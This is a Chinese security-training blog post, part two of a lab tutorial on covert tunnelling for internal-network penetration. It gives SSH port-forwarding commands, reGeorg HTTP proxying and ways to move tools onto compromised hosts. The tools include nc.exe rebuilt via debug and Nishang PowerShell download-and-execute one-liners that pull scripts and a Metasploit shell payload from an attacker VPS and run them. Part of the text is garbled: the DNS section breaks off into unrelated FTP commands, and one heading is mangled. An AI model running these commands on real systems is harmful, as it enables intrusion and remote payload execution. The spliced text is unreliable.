当前位置:网站首页 > 网络安全培训 > 正文

内网渗透基石篇--隐藏通信隧道技术(下)

freebuffreebuf 2021-06-13 290 0

本文来源:pony686

前言:非淡泊无以明志,非宁静无以致远。

上篇:《内网渗透基石篇-- 隐藏通信隧道技术(上)》

一. 应用层隧道技术

1. ssh隧道

建立双向安全隧道

将其他TCP端口的通信通过SSH连接转发

用SSH作为传输层协议,对流量自动加解密

突破防火墙访问规则的限制

SSH本地端口转发

本机侦听端口,访问转发到远程主机指定端口

ssh -L -CfN listen posrt> :remote ip>:remote port> user@ssh server> -p ssh server port> 
#能够共享该隧道
ssh -L -CfNg listen posrt> :remote ip>:remote port> user@ssh server> -p ssh server port>

基于建立起来的SSH隧道,隧道中断则端口转发中断

只能在建立隧道时创建转发,不能为已有隧道增加端口转发

远程端口转发

远程侦听端口,访问转发到本机主机指定端口

ssh -R -CfNg listen posrt> :remote ip>:remote port> user@ssh server> -p ssh server port>

内网为服务器

动态端口转发

本地侦听socks4/5代理端口,由SSH server决定如何转发

ssh -CfNg -D listen port> user@ssh server> -p ssh server port>  shsh root@x.x.1.1

-C 压缩传输

-f 将SSH传输转入后台执行

-N 建立静默连接

-g 允许远程主机连接本地用于转发的端口

-L 本地端口转发

11001 本地端口

实验1:本地转发

1.kali 10.10.10.128

2.centos7 10.10.10.133

3.win7 10.10.10.147

-C 压缩传输

-f 将SSH传输转入后台执行

-N 建立静默连接

-g 允许远程主机连接本地用于转发的端口

-L 本地端口转发

11001 本地端口

192.168.160.139:3389 目标主机:目标端口

XXX@10.10.10.133

跳板机

运行命令,输入跳板机的ssh登陆密码,就可以了

1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133

1623547119_60c55cefc558987ee492d.png?1623547120251

2.连接本地的11001端口,就会自动通过跳板机,连接到目标机的3389端口

rdesktop 127.0.0.1:11001

1623547146_60c55d0a3821f50f0a8c6.png?1623547146668

3.成功弹窗

1623547155_60c55d138c188bbfc7236.png?1623547156043

4.成功远程登录

1623547163_60c55d1b041f49defe43c.png?1623547163489

实验2:远程转发

第一步:在跳板机ubuntu18上运行SSH远程转发命令

-R 远程端口转发

11111 kali rolling上的端口

192.168.160.139:3389 目标主机:目标端口

root@192.168.160.140

kali rolling

运行命令,输入kali rolling的ssh登陆密码,就可以了

ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140

第二步:在kali rolling上通过rdesktop连接本地的11111端口

连接本地的11001端口,就会自动通过跳板机,连接到目标机的3389端口

rdesktop 127.0.0.1:11111

1623547173_60c55d2503e4c9a122c4e.png?1623547173463

2.防御ssh隧道攻击的思路

产生原因:因为系统被攻击者利用,主要是因为系统访问控制措施不够。

解决措施

1.建立带外管理的网络结构

2.在内网中限制ssh远程登录的地址及双向访问控制策略。

二、 http/https协议

http service代理用于将所有的流量转发到内网。常见的代理工具有reGeorg、meterpeter、tunna等。

实验:使用regeory工具进行远程扫描

工具下载地址:https://github.com/sensepost/reGeorg

第一步:在跳板机上传递隧道文件

1623547415_60c55e17c066f9d5228b0.png?1623547416184

第二步:在kali rolling配置proxychains.conf

1623547426_60c55e222d69474465bfc.png?1623547426504

1623547432_60c55e28159944a24621f.png?1623547432477

第三步:在kali rolling上启动代理

1623547440_60c55e305fd624c761442.png?1623547440782

1623547455_60c55e3f60f833b533c1f.png?1623547455709

第四步:在目标机器开启防火墙,阻断kali rolling的访问

1623547464_60c55e486c102a41a2c87.png?1623547464687

第五步:在kali rolling上探测目标机器开放的端口

1623547474_60c55e5239cb04a2cd5b0.png?1623547475708

三. DNs协议

定义:Dns协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的dns流量可能会被发现,但基于传统socket隧道已经濒临淘汰及tcp、udp通信大量被防御系统拦截的状况。

dns是一个必不可少的服务,另一方面,dns报文本身具有穿透防火墙的能力。

用于管理僵尸网络和进行apt攻击的服务器叫做Cftp服务器地址>:连接指定的FTP服务器

cd:进入指定的目录

put/send 本地文件> 远程目录>:将目标机器本地文件上传到服务器远程目录 // send和put方法用法都基本相同,但是上传速度send却要比put快很多

get 远程文件> 本地目录>:将ftp服务器上的文件下载到本地目标机器中

1623548133_60c560e51ab2d69ec3092.png?1623548133715

2.利用Debug上传

DEBUG是一个DOS实用程序,是供程序员使用的程序调试工具,可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性,也可以追踪执行过程、比较一个指令执行前后的值以及比较与移动内存中数据的范围,读写文件与磁盘扇区。

我们利用Debug向目标主机上传文件的原理就是,先将需要上传的exe文件转换为十六进制hex的格式,将hex的内容复制,再通过echo命令将hex内容写入到目标主机上的一个文件中,最后利用debug将hex内容编译成exe文件。

接下来,我们将nc.exe工具利用debug上传至目标主机。

我们使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目录下)将二进制的nc.exe转换成16进制的表示,由于exe2bat是windows程序,所以在kali上我们要用wine来执行(linux是不能运行window下的可执行文件的,必须借助于wine):

wine exe2bat.exe nc.exe nc.txt

1623548158_60c560fe0f798d43c0e63.png?1623548158387

1623548165_60c5610550692b2007405.png?1623548167037

3. 利用NIshang上传

Download_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能就是下载一个文本文件,然后将其转换为exe可执行文件执行。

第一步:首先攻击者在本地用Nishang中的exetotext.ps1脚本将exe可执行文件更改为文本文件(这里我们的exe为msf生成的shell.exe)

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1');ExetoText c:\shell.exe c:\shell.txt"

第二步:将生成的shell.txt放到vps上面,然后在目标主机上面用Download_Execute脚本下载改shell.txt,将其转化为exe后执行

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute http://39.xxx.xxx.210/shell.txt

1623548210_60c561325fe5d9b323193.png?1623548210769

4. 利用bitsadmin上传YY6 03.7.6 利用powershell 上传

bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是 windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。

1623548226_60c56142deb86d89928cf.png?1623548228410

总结

内网隐藏通信隧道就学到这里了,中间参考了一些大佬的思路。中途做了几个实验,用来学习一些常用工具的使用,工具只有在使用的时候我觉得理解的更快啊!

转载请注明来自网盾网络安全培训,本文标题:《内网渗透基石篇--隐藏通信隧道技术(下)》

标签:网络安全内网隧道

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表